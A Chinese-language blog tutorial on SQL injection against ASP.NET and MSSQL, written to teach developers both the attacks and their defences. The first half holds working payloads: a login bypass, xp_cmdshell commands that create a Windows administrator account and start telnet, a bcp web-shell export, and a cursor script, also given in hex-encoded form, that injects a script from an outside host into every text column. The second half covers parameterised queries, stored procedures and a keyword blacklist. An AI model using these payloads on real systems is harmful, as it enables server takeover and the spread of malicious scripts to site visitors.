畢業開始從事winform到今年轉到 web ,在碼農屆已經足足混了快接近3年了,可是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各類藉口。這幾天把sql注入的相關知識整理了下,但願你們多多提意見。html
(對於sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,能夠說沒什麼好經驗,爲避免後知後覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出本身以爲重要的,就成了該文)前端
下面的程序方案是採用 ASP.NET + MSSQL,其餘技術在設置上會有少量不一樣。 web
什麼是SQL注入(SQL Injection)sql
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或做爲存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。shell
嚐嚐SQL注入數據庫
- 一個簡單的登陸頁面
關鍵代碼:(詳細見下載的示例代碼)windows
1
2
3
4
5
6
|
private
bool
NoProtectLogin(
string
userName,
string
password)
{
int
count = (
int
)SqlHelper.Instance.ExecuteScalar(
string
.Format
(
"SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'"
, userName, password));
return
count > 0 ?
true
:
false
;
}
|
方法中userName和 password 是沒有通過任何處理,直接拿前端傳入的數據,這樣拼接的SQL會存在注入漏洞。(賬戶:admin 123456)瀏覽器
1) 輸入正常數據,效果如圖:緩存
合併的SQL爲:
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
2) 輸入注入數據:
如圖,即用戶名爲:用戶名:admin’—,密碼可隨便輸入
合併的SQL爲:
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
由於UserName值中輸入了「--」註釋符,後面語句被省略而登陸成功。(經常的手法:前面加上'; ' (分號,用於結束前一條語句),後邊加上'--' (用於註釋後邊的語句))
- 上面是最簡單的一種SQL注入,常見的注入語句還有:
1) 猜想數據庫名,備份數據庫
a) 猜想數據庫名: and db_name() >0 或系統表master.dbo.sysdatabases
b) 備份數據庫:;backup database 數據庫名 to disk = ‘c:\*.db’;--
或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
2) 猜解字段名稱
a) 猜解法:and (select count(字段名) from 表名)>0 若「字段名」存在,則返回正常
b) 讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可獲得全部的字段名稱。
3) 遍歷系統的目錄結構,分析結構並發現WEB虛擬目錄(服務器上傳木馬)
先建立一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a) 利用xp_availablemedia來得到當前全部驅動器,並存入temp表中
;insert temp exec master.dbo.xp_availablemedia;--
b) 利用xp_subdirs得到子目錄列表,並存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
c) 利用xp_dirtree能夠得到「全部」子目錄的目錄樹結構,並存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)
d) 利用 bcp 命令將表內容導成文件
即插入木馬文本,而後導出存爲文件。好比導出爲asp文件,而後經過瀏覽器訪問該文件並執行惡意腳本。(使用該命令必須啓動’ xp_cmdshell’)
Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'
(注意:語句中使用的是雙引號,另外表名格式爲「數據庫名.用戶名.表名」)
在sql查詢器中經過語句:Exec master..xp_cmdshell N'BCP’便可查看BCP相關參數,如圖:
4) 查詢當前用戶的數據庫權限
MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可經過1=(select IS_SRVROLEMEMBER('sysadmin'))獲得當前用戶是否具備該權限。
5) 設置新的數據庫賬戶(獲得MSSQL管理員帳戶)
d) 在數據庫內添加一個hax用戶,默認密碼是空
;exec sp_addlogin'hax';--
e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)
;exec master.dbo.sp_password null,password,username;--
f) 將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--
6) xp_cmdshell MSSQL存儲過程(獲得 WINDOWS管理員帳戶 )
經過(5)獲取到sysadmin權限的賬戶後,使用查詢分析器鏈接到數據庫,可經過xp_cmdshell運行系統命令行(必須是sysadmin權限),即便用 cmd.exe 工具,能夠作什麼本身多瞭解下。
下面咱們使用xp_cmdshell來建立一個 Windows 用戶,並開啓遠程登陸服務:
a) 判斷xp_cmdshell擴展存儲過程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'
b) 恢復xp_cmdshell擴展存儲過程
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';
開啓後使用xp_cmdshell還會報下面錯誤:
SQL Server 阻止了對組件 'xp_cmdshell' 的過程 'sys.xp_cmdshell' 的訪問,由於此組件已做爲此服務器安全配置的一部分而被關閉。系統管理員能夠經過使用sp_configure啓用 'xp_cmdshell'。有關啓用'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
經過執行下面語句進行設置:
-- 容許配置高級選項
EXEC sp_configure 'show advanced options', 1
GO
-- 從新配置
RECONFIGURE
GO
-- 啓用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--從新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell擴展存儲過程
Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';
d) 添加windows用戶:
Exec xp_cmdshell 'net user awen /add';
e) 設置好密碼:
Exec xp_cmdshell 'net user awen password';
f) 提高到管理員:
Exec xp_cmdshell 'net localgroup administrators awen /add';
g) 開啓telnet服務:
Exec xp_cmdshell 'net start tlntsvr'
7) 沒有xp_cmdshell擴展程序,也可建立Windows賬戶的辦法.
(本人windows7系統,測試下面SQL語句木有效果)
declare @shell int ;
execsp_OAcreate 'w script .shell',@shell output ;
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';
在使用的時候會報以下錯:
SQL Server 阻止了對組件 'Ole Automation Procedures' 的過程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的訪問,由於此組件已做爲此服務器安全配置的一部分而被關閉。系統管理員能夠經過使用sp_configure啓用 'Ole Automation Procedures'。有關啓用 'Ole Automation Procedures' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
解決辦法:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
好了,這樣別人能夠登陸你的服務器了,你怎麼看?
8) 客戶端腳本攻擊
攻擊1:(正常輸入)攻擊者經過正常的輸入提交方式將惡意腳本提交到數據庫中,當其餘用戶瀏覽此內容時就會受到惡意腳本的攻擊。
措施:轉義提交的內容,.NET 中可經過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換爲HTML編碼的字符串。
攻擊2:(SQL注入)攻擊者經過SQL注入方式將惡意腳本提交到數據庫中,直接使用SQL語法UPDATE數據庫,爲了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL通過「HEX編碼」,而後經過exec能夠執行「動態」SQL的特性運行腳本」。
參考:
示例代碼:(可在示例附帶的數據庫測試)
a) 向當前數據庫的每一個表的每一個字段插入一段惡意腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Declare
@T
Varchar
(255),@C
Varchar
(255)
Declare
Table_Cursor
Cursor
For
Select
A.
Name
,B.
Name
From
SysobjectsA,Syscolumns B
Where
A.Id=B.Id
And
A.Xtype=
'u'
And
(B.Xtype=99
Or
B.Xtype=35
Or
B.Xtype=231
Or
B.Xtype=167)
Open
Table_Cursor
Fetch
Next
From
Table_Cursor
Into
@T,@C
While(@@Fetch_Status=0)
Begin
Exec
(
'update ['
+@T+
'] Set ['
+@C+
']=Rtrim(Convert(Varchar(8000),['
+@C+
']))+'
'<script src=http://8f8el3l.cn/0.js></script>'
''
)
Fetch
Next
From
Table_Cursor
Into
@T,@C
End
Close
Table_Cursor
DeallocateTable_Cursor
|
b) 更高級的攻擊,將上面的注入SQL進行「HEX編碼」,從而避免程序的關鍵字檢查、腳本轉義等,經過EXEC執行
1
2
|
dEcLaRe
@s
vArChAr
(8000)
sEt
@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;
eXeC
(@s);
--
|
c) 批次刪除數據庫被注入的腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
declare
@delStrnvarchar(500)
setnocount
on
declare
@tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint
declare
@sqlnvarchar(500)
set
@iResult=0
declare
cur
cursor
for
selectname,id
from
sysobjects
where
xtype=
'U'
open
cur
fetch
next
from
cur
into
@tableName,@tbID
while @@fetch_status=0
begin
declare
cur1
cursor
for
--xtype in (231,167,239,175) 爲char,varchar,nchar,nvarchar類型
select
name
from
syscolumns
where
xtype
in
(231,167,239,175)
and
id=@tbID
open
cur1
fetch
next
from
cur1
into
@columnName
while @@fetch_status=0
begin
set
@sql=
'update ['
+ @tableName +
'] set ['
+ @columnName +
']= replace(['
+@columnName+
'],'
''
+@delStr+
''
','
''
') where ['
+@columnName+
'] like '
'%'
+@delStr+
'%'
''
execsp_executesql @sql
set
@iRow=@@rowcount
set
@iResult=@iResult+@iRow
if @iRow>0
begin
print
'表:'
+@tableName+
',列:'
+@columnName+
'被更新'
+
convert
(
varchar
(10),@iRow)+
'條記錄;'
end
fetch
next
from
cur1
into
@columnName
end
close
cur1
deallocate
cur1
fetch
next
from
cur
into
@tableName,@tbID
end
print
'數據庫共有'
+
convert
(
varchar
(10),@iResult)+
'條記錄被更新!!!'
close
cur
deallocate
cur
setnocount
off
|
d) 我如何獲得「HEX編碼」?
開始不知道HEX是什麼東西,後面查了是「十六進制」,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進制的標示符 ’0x’ )
9) 對於敏感詞過濾不到位的檢查,咱們能夠結合函數構造SQL注入
好比過濾了update,卻沒有過濾declare、exec等關鍵詞,咱們可使用reverse來將倒序的sql進行注入:
1
|
declare
@A
varchar
(200);
set
@A=reverse(
''
'58803303431'
'=emanresu erehw '
'9d4d9c1ac9814f08'
'=drowssaP tes xxx tadpu'
);
|
防止SQL注入
- 數據庫權限控制,只給訪問數據庫的web應用功能所需的最低權限賬戶。
如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
- 自定義錯誤信息,首先咱們要屏蔽服務器的詳細錯誤信息傳到客戶端。
在 ASP.NET 中,可經過web.config配置文件的<customErrors>節點設置:
1
2
3
|
<
customErrors
defaultRedirect="url" mode="On|Off|RemoteOnly">
<
error.
. ./>
</
customErrors
>
|
mode:指定是啓用或禁用自定義錯誤,仍是僅向遠程客戶端顯示自定義錯誤。
On |
指定啓用自定義錯誤。若是未指定defaultRedirect,用戶將看到通常性錯誤。 |
Off |
指定禁用自定義錯誤。這容許顯示標準的詳細錯誤。 |
RemoteOnly |
指定僅向遠程客戶端顯示自定義錯誤而且向本地主機顯示ASP.NET 錯誤。這是默認值。 |
看下效果圖:
設置爲<customErrors mode="On">通常性錯誤:
設置爲<customErrors mode="Off">:
- 把危險的和沒必要要的存儲過程刪除
xp_:擴展存儲過程的前綴,SQL注入攻擊得手以後,攻擊者每每會經過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。
xp_cmdshell |
能執行dos命令,經過語句sp_dropextendedproc刪除, 不過依然能夠經過sp_addextendedproc來恢復,所以最好刪除或更名xplog70.dll(sql server 2000、windows7) xpsql70.dll(sqlserer 7.0) |
xp_fileexist |
用來肯定一個文件是否存在 |
xp_getfiledetails |
能夠得到文件詳細資料 |
xp_dirtree |
能夠展開你須要瞭解的目錄,得到全部目錄深度 |
Xp_getnetname |
能夠得到服務器名稱 |
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite |
能夠訪問註冊表的存儲過程 |
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop |
若是你不須要請丟棄OLE自動存儲過程 |
- 非參數化SQL與參數化SQL
1) 非參數化(動態拼接SQL)
a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉義字符》轉換掉。
b) 類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。
c) 長度驗證:要進行必要的注入,其語句也是有長度的。因此若是你本來只容許輸入10字符,那麼嚴格控制10個字符長度,一些注入語句就沒辦法進行。
d) 使用枚舉:若是隻有有限的幾個值,就用枚舉。
e) 關鍵字過濾:這個門檻比較高,由於各個數據庫存在關鍵字,內置函數的差別,因此對編寫此函數的功底要求較高。如公司或我的有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!
這邊提供一個關鍵字過濾參考方案(MSSQL):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public
static
bool
ValiParms(
string
parms)
{
if
(parms ==
null
)
{
return
false
;
}
Regex regex =
new
Regex(
"sp_"
, RegexOptions.IgnoreCase);
Regex regex2 =
new
Regex(
"'"
, RegexOptions.IgnoreCase);
Regex regex3 =
new
Regex(
"create "
, RegexOptions.IgnoreCase);
Regex regex4 =
new
Regex(
"drop "
, RegexOptions.IgnoreCase);
Regex regex5 =
new
Regex(
"\""
, RegexOptions.IgnoreCase);
Regex regex6 =
new
Regex(
"exec "
, RegexOptions.IgnoreCase);
Regex regex7 =
new
Regex(
"xp_"
, RegexOptions.IgnoreCase);
Regex regex8 =
new
Regex(
"insert "
, RegexOptions.IgnoreCase);
Regex regex9 =
new
Regex(
"delete "
, RegexOptions.IgnoreCase);
Regex regex10 =
new
Regex(
"select "
, RegexOptions.IgnoreCase);
Regex regex11 =
new
Regex(
"update "
, RegexOptions.IgnoreCase);
return
(regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));
}
|
優勢:寫法相對簡單,網絡傳輸量相對參數化拼接SQL小
缺點:
a) 對於關鍵字過濾,經常「顧此失彼」,如漏掉關鍵字,系統函數,對於HEX編碼的SQL語句沒辦法識別等等,而且須要針對各個數據庫封裝函數。
b) 沒法知足需求:用戶原本就想發表包含這些過濾字符的數據。
c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。
2) 參數化查詢(Parameterized Query)
a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操做也是須要的。他們能儘早檢查出數據的有效性。
b) 參數化查詢原理:在使用參數化查詢的狀況下,數據庫服務器不會將參數的內容視爲SQL指令的一部份來處理,而是在數據庫完成 SQL 指令的編譯後,才套用參數運行,所以就算參數中含有具備損的指令,也不會被數據庫所運行。
c) 因此在實際開發中,入口處的安全檢查是必要的,參數化查詢應做爲最後一道安全防線。
優勢:
- 防止SQL注入(使單引號、分號、註釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)
- 參數化查詢能強制執行類型和長度檢查。
- 在MSSQL中生成並重用查詢計劃,從而提升查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大於50%的時間)
缺點:
- 不是全部數據庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等經常使用數據庫支持參數化查詢。
疑問:參數化如何「批量更新」數據庫。
a) 經過在參數名上增長一個計數來區分開多個參數化語句拼接中的同名參數。
EG:
1
2
3
4
5
6
7
8
9
|
StringBuilder sqlBuilder=
new
StringBuilder(512);
Int count=0;
For(循環)
{
sqlBuilder.AppendFormat(「UPDATE login SET password=@password{0} WHERE username=@userName{0}」,count.ToString());
SqlParameter para=
new
SqlParamter(){ParameterName=@password+count.ToString()}
……
Count++;
}
|
b) 經過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL作邏輯處理。注意C#中參數設置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請查看……
疑慮:有部份的開發人員可能會認爲使用參數化查詢,會讓程序更很差維護,或者在實現部份功能上會很是不便,然而,使用參數化查詢形成的額外開發成本,一般都遠低於由於SQL注入攻擊漏洞被發現而遭受攻擊,所形成的重大損失。
另外:想驗證重用查詢計劃的同窗,可使用下面兩段輔助語法
1
2
3
4
5
6
7
8
9
|
--清空緩存的查詢計劃
DBCC FREEPROCCACHE
GO
--查詢緩存的查詢計劃
SELECT
stats.execution_count
AS
cnt, p.size_in_bytes
AS
[
size
], [sql].[text]
AS
[plan_text]
FROM
sys.dm_exec_cached_plans p
OUTER
APPLY sys.dm_exec_sql_text (p.plan_handle) sql
JOIN
sys.dm_exec_query_stats stats
ON
stats.plan_handle = p.plan_handle
GO
|
3) 參數化查詢示例
效果如圖:
參數化關鍵代碼:
1
2
3
4
5
6
7
8
9
10
11
|
Private
bool
ProtectLogin(
string
userName,
string
password)
{
SqlParameter[] parameters =
new
SqlParameter[]
{
new
SqlParameter{ParameterName=
"@UserName"
,SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},
new
SqlParameter{ParameterName=
"@Password"
,SqlDbType=SqlDbType.VarChar,Size=20,Value=password}
};
int
count = (
int
)SqlHelper.Instance.ExecuteScalar
(
"SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password"
, parameters);
return
count > 0 ?
true
:
false
;
}
|
- 存儲過程
存儲過程(Stored Procedure)是在大型數據庫系統中,一組爲了完成特定功能的SQL 語句集,經編譯後存儲在數據庫中,用戶經過指定存儲過程的名字並給出參數(若是該存儲過程帶有參數)來執行它。
優勢:
a) 安全性高,防止SQL注入而且可設定只有某些用戶才能使用指定存儲過程。
b) 在建立時進行預編譯,後續的調用不需再從新編譯。
c) 能夠下降網絡的通訊量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。
缺點:
a) 非應用程序內聯代碼,調式麻煩。
b) 修改麻煩,由於要不斷的切換開發工具。(不過也有好的一面,一些易變更的規則作到存儲過程當中,如變更就不須要從新編譯應用程序)
c) 若是在一個程序系統中大量的使用存儲過程,到程序交付使用的時候隨着用戶需求的增長會致使數據結構的變化,接着就是系統的相關問題了,最後若是用戶想維護該系統能夠說是很難很難(eg:沒有VS的查詢功能)。
演示請下載示例程序,關鍵代碼爲:
1
2
|
cmd.CommandText = procName;
// 傳遞存儲過程名
cmd.CommandType = CommandType.StoredProcedure;
// 標識解析爲存儲過程
|
若是在存儲過程當中SQL語法很複雜須要根據邏輯進行拼接,這時是否還具備放注入的功能?
答:MSSQL中能夠經過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數值, EXECUTE 語句不支持。因此只有使用sp_executesql方式才能啓到參數化防止SQL注入。
關鍵代碼:(詳細見示例)
a) sp_executesql
1
2
3
4
5
6
7
8
9
10
11
|
CREATE
PROCEDURE
PROC_Login_executesql(
@userNamenvarchar(10),
@
password
nvarchar(10),
@
count
int
OUTPUT
)
AS
BEGIN
DECLARE
@s nvarchar(1000);
set
@s=N
'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'
;
EXEC
sp_executesql @s,N
'@userName nvarchar(10),@password nvarchar(10),@count int output'
,@userName=@userName,@
password
=@
password
,@
count
=@
count
output
END
|
b) EXECUTE(注意sql中拼接字符,對於字符參數須要額外包一層單引號,須要輸入兩個單引號來標識sql中的一個單引號)
1
2
3
4
5
6
7
8
9
10
|
CREATE
PROCEDURE
PROC_Login_EXEC(
@userNamenvarchar(10),
@
password
varchar
(20)
)
AS
BEGIN
DECLARE
@s nvarchar(1000);
set
@s=
'SELECT @count=COUNT(*) FROM Login WHERE UserName='
''
+
CAST
(@userName
AS
NVARCHAR(10))+
''
' AND Password='
''
+
CAST
(@
password
AS
VARCHAR
(20))+
''
''
;
EXEC
(
'DECLARE @count int;'
+@s+
'select @count'
);
END
|
注入截圖以下:
- 專業的SQL注入工具及防毒軟件
情景1
A:「丫的,又中毒了……」
B:「我看看,你這不是裸機在跑嗎?」
電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣能夠避免一些常見的侵入。好比開篇提到的SQL建立windows賬戶,就會立馬報出警報。
情景2
A:「終於把網站作好了,太完美了,已經檢查過沒有漏洞了!」
A:「網站怎麼被黑了,怎麼入侵的???」
公司或我的有財力的話仍是有必要購買一款專業SQL注入工具來驗證下本身的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有本身的獨到之處。SQL注入工具介紹:10個SQL注入工具
- 額外小知識:LIKE中的通配符
儘管這個不屬於SQL注入,可是其被惡意使用的方式是和SQL注入相似的。
參考:SQL中通配符的使用
% |
包含零個或多個字符的任意字符串。 |
_ |
任何單個字符。 |
[] |
指定範圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字符。 |
[^] |
不在指定範圍(例如 [^a - f])或集合(例如 [^abcdef])內的任何單個字符。 |
在模糊查詢LIKE中,對於輸入數據中的通配符必須轉義,不然會形成客戶想查詢包含這些特殊字符的數據時,這些特殊字符卻被解析爲通配符。不與 LIKE 一同使用的通配符將解釋爲常量而非模式。
注意使用通配符的索引性能問題:
a) like的第一個字符是'%'或'_'時,爲未知字符不會使用索引, sql會遍歷全表。
b) 若通配符放在已知字符後面,會使用索引。
網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用狀況卻都沒有使用索引,可能在別的數據庫中會使用到索引吧……
截圖以下:
有兩種將通配符轉義爲普通字符的方法:
1) 使用ESCAPE關鍵字定義轉義符(通用)
在模式中,當轉義符置於通配符以前時,該通配符就解釋爲普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:
WHERE ColumnA LIKE '%5/%%' ESCAPE '/'
2) 在方括號 ([ ]) 中只包含通配符自己,或要搜索破折號 (-) 而不是用它指定搜索範圍,請將破折號指定爲方括號內的第一個字符。EG:
符號 |
含義 |
LIKE '5[%]' |
5% |
LIKE '5%' |
5 後跟 0 個或多個字符的字符串 |
LIKE '[_]n' |
_n |
LIKE '_n' |
an, in, on (and so on) |
LIKE '[a-cdf]' |
a、b、c、d 或 f |
LIKE '[-acdf]' |
-、a、c、d 或 f |
LIKE '[ [ ]' |
[ |
LIKE ']' |
] (右括號不須要轉義) |
因此,進行過輸入參數的關鍵字過濾後,還須要作下面轉換確保LIKE的正確執行
1
2
3
4
5
6
7
|
private
static
string
ConvertSqlForLike(
string
sql)
{
sql = sql.Replace(
"["
,
"[[]"
);
// 這句話必定要在下面兩個語句以前,不然做爲轉義符的方括號會被看成數據被再次處理
sql = sql.Replace(
"_"
,
"[_]"
);
sql = sql.Replace(
"%"
,
"[%]"
);
return
sql;
}
|
結束語:感謝你耐心的觀看。恭喜你, SQL安全攻防你已經入門了……
參考文獻:
擴展資料:
淺析Sql Server參數化查詢-----驗證了參數的類型和長度對參數化查詢影響
Sql Server參數化查詢之where in和like實現詳解
-----講述6種參數化實現方案
webshell -----不當小白,你必須認識的專業術語。一個用於站長管理,入侵者入侵的好工具
SQL注入技術和跨站腳本攻擊的檢測 -----講解使用正則表達式檢測注入
XSS(百度百科) -------惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。
XSS攻擊實例 -------基本思路:咱們都知道網上不少網站均可以「記住你的用戶名和密碼」或是「自動登陸」,實際上是在你的本地設置了一個cookie,這種方式可讓你免去每次都輸入用戶名和口令的痛苦,可是也帶來很大的問題。試想,若是某用戶在「自動登陸」的狀態下,若是你運行了一個程序,這個程序訪問「自動登陸」這個網站上一些連接、提交一些表單,那麼,也就意味着這些程序不須要輸入用戶名和口令的手動交互就能夠和服務器上的程序通話。